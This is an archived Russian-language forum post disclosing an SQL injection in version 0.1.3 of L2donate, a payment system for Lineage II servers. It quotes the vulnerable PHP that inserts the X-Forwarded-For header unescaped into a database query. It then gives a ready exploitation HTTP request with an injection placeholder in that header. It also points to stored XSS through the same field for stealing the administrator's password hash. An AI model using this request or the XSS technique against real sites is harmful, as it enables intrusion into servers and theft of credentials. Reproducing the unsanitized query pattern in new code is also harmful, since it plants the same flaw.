PDA

Просмотр полной версии : SQL injection в L2donate


(Dm)
08.06.2009, 10:45
L2donate система платных услуг LineageII
Офф сайт: http://l2donate.ru/
Версия: 0.1.3

уязвимость в модулях: client/modules/*/index.php

Например: client/modules/system/index.php
$fromip = $_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$fromip .= $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(isset($_SERVER['REMOTE_HOST'])) {
$fromip .= '--'.$_SERVER['REMOTE_HOST'];
}

$fields = "ip='".$fromip."', login='".$login."' ,redirecturl='', transid=''
, status='0', sellingamount='".$sellingCurrencyAmount."'
, accountingamount='0', gateway='".trim($request['fill'])."'
, amount='0', result='', trans_date='".date('Y-m-j H:i:s')."'";
$result = $db['prim']->query("INSERT INTO ".DB_PREFIX."transactions SET ".$fields);


Пример эксплуатации:

POST /client/?module=systems HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/client/?module=systems
Cookie: logged_usr=1; login_usr=test; pass_usr=qUqP5cyxm6YcTAhz05Hph5gvu9M%3D; auth_usr_hash=68f522804fda3638ef8a710bfa790513; PHPSESSID=e37cf42680902ad6c4edfb5e51dc2c85
X_FORWARDED_FOR: ',{SQL}
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
login=test&fill=systems&action=paymentpage&sellingcurrencyamount=111

Пароль администратора хранится в файле, поэтому через скулю до него не добраться...

Есть возможность проведения xss в поле X_FORWARDED_FOR, с помощью чего можно получить md5 хеш админа.